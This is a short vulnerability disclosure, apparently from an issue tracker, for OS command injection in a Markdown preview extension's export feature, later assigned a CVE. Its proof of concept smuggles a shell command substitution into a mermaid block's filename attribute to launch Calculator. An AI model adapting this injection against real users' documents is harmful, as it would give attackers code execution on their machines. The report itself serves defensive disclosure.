[Vulnerability] Code execution via GitHub Flavored Markdown export

[yuriisanin]

Video PoC for Atom on YouTube:

Original issue: shd101wyy/mume, OS command injection via Memraid PNG export

STR (please, note that the following PoC works for OS X it might be different for Linux or Windows):

1. Create document with the following code inside.

mermaid {filename="$(open -a Calculator)hello.pdf"}
gitGraph
       commit id: "Normal"
       commit
       commit id: "Reverse" type: REVERSE
       commit
       commit id: "Highlight" type: HIGHLIGHT
       commit

2. Open preview
3. Use "Save as Markdown" button in the preview window
4. Calculator program should appear on the screen.

[yuriisanin]

Assigned CVE-2022-45026